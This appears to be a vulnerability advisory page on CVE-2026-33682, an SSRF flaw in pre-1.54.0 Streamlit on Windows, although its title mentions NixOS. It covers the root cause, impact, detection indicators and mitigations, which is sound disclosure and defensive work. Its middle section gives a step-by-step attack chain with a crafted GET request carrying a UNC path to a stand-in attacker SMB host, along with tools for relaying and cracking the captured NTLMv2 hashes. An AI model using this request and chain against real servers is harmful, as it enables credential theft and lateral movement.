CVE-2026-33682: 
NixOS vulnerability analysis and mitigation

CVE-2026-33682 is an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in Streamlit Open Source affecting all versions prior to 1.54.0 running on Windows hosts. The flaw allows remote attackers to coerce the Streamlit server into initiating outbound SMB connections, potentially exposing NTLMv2 credential hashes of the Windows user running the process. It was reported through Snowflake's responsible disclosure program, published on March 24, 2026, and patched in version 1.54.0. The CVSS v3.1 score is 4.7 (Moderate) per the GitHub Advisory, with an adjacent attack vector and high attack complexity (GitHub Advisory, Streamlit Security Advisory).

The root cause is improper validation of attacker-supplied filesystem paths (CWE-918: Server-Side Request Forgery). In affected code paths — including ComponentRequestHandler, AppStaticFileHandler, and BidiComponentRequestHandler — filesystem paths were resolved using os.path.realpath() or Path.resolve() before any security validation occurred. On Windows, this allows an attacker to supply a malicious UNC path (e.g., \\attacker-controlled-host\share) in the URI, causing Windows to automatically initiate an outbound SMB authentication attempt to the attacker's server over port 445. The fix introduced a centralized path_security.py module with an is_unsafe_path_pattern() function and a new PathSecurityMiddleware (Starlette) that validates paths before any filesystem operations, blocking UNC paths, absolute paths, path traversal sequences (..), null bytes, and Windows drive-letter paths (GitHub Commit, GitHub Advisory).

Successful exploitation causes the Windows host running Streamlit to transmit NTLMv2 challenge-response credential hashes for the service account to an attacker-controlled SMB server. These hashes can be used in NTLM relay attacks against other internal services (e.g., file shares, internal web applications supporting NTLM), enabling lateral movement within the network. Additionally, captured hashes may be subjected to offline brute-force attacks to recover plaintext passwords, particularly for accounts with weak credentials. Availability is not directly impacted, but the confidentiality and integrity risks are significant in environments that have not hardened NTLM usage (Streamlit Security Advisory, GitHub Advisory).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is unauthenticated and requires no user interaction, but exploitation requires adjacent network access and high attack complexity (the attacker must control an SMB server reachable from the target). The EPSS score is approximately 0.011–0.015%, indicating a low near-term exploitation probability. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify Windows hosts running Streamlit Open Source versions prior to 1.54.0 with component endpoints exposed to the network (e.g., via Shodan, Censys, or internal network scanning).
2. Set up a rogue SMB server: Deploy an SMB listener (e.g., using Responder or Impacket's ntlmrelayx.py) on an attacker-controlled host reachable from the Streamlit server.
3. Craft a malicious GET request: Send an HTTP GET request to the Streamlit server's component endpoint, embedding a UNC path pointing to the attacker's SMB server in the URI path, e.g.:

   GET /component/\\attacker-host\share/malicious HTTP/1.1
   Host: <streamlit-server>:<port>

4. Trigger SMB authentication: The Streamlit server resolves the UNC path via os.path.realpath() or Path.resolve(), causing Windows to automatically initiate an SMB connection to the attacker's server and transmit NTLMv2 challenge-response credentials.
5. Capture NTLMv2 hashes: The rogue SMB server captures the NTLMv2 hash of the Windows account running the Streamlit process.
6. Relay or crack credentials: Use the captured hash for NTLM relay attacks against internal services (e.g., via ntlmrelayx.py), or attempt offline password cracking using tools like Hashcat or John the Ripper (Streamlit Security Advisory, GitHub Commit).

• Network: Unexpected outbound SMB connections (TCP port 445) originating from the Streamlit server process to external or unfamiliar internal hosts; NTLMv2 authentication attempts to unknown SMB servers captured in network traffic.
• Logs: Web server access logs showing GET requests to Streamlit component endpoints containing UNC path patterns (e.g., \\, //) or unusual path segments in the URI; Windows Security Event Log entries (Event ID 4624/4625) showing NTLM authentication attempts to remote hosts initiated by the Streamlit service account.
• Process: The Python process running Streamlit (python.exe) initiating outbound connections to port 445 on non-standard internal or external hosts.
• File System: No direct file system artifacts expected, but review for any new files dropped by relay attack follow-on activity on internal SMB shares accessible to the Streamlit service account (Streamlit Security Advisory).

The primary remediation is to upgrade Streamlit Open Source to version 1.54.0 or later, which introduces centralized path validation that blocks UNC paths before any filesystem operations (Streamlit Release 1.54.0, GitHub Advisory). For organizations unable to upgrade immediately, the following mitigations reduce risk:

• Restrict network access to Streamlit applications from untrusted networks using firewalls or network segmentation.
• Block outbound SMB traffic (TCP port 445) from systems running Streamlit at the network perimeter.
• Enforce NTLM restrictions via Group Policy (e.g., disable outbound NTLM authentication, require SMB signing, or block NTLM to remote servers).
• Monitor for suspicious outbound SMB connections from Streamlit processes.

Note: This vulnerability affects only Windows deployments; Linux and macOS hosts are not impacted.

The vulnerability was disclosed through Snowflake's responsible disclosure program and published via the GitHub Advisory Database on March 24–25, 2026. The advisory notes that Microsoft has publicly discouraged continued use of NTLM in favor of Kerberos and is progressing toward disabling NTLM by default in future Windows releases, contextualizing the risk within broader industry authentication hardening trends (Streamlit Security Advisory). No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability database aggregation.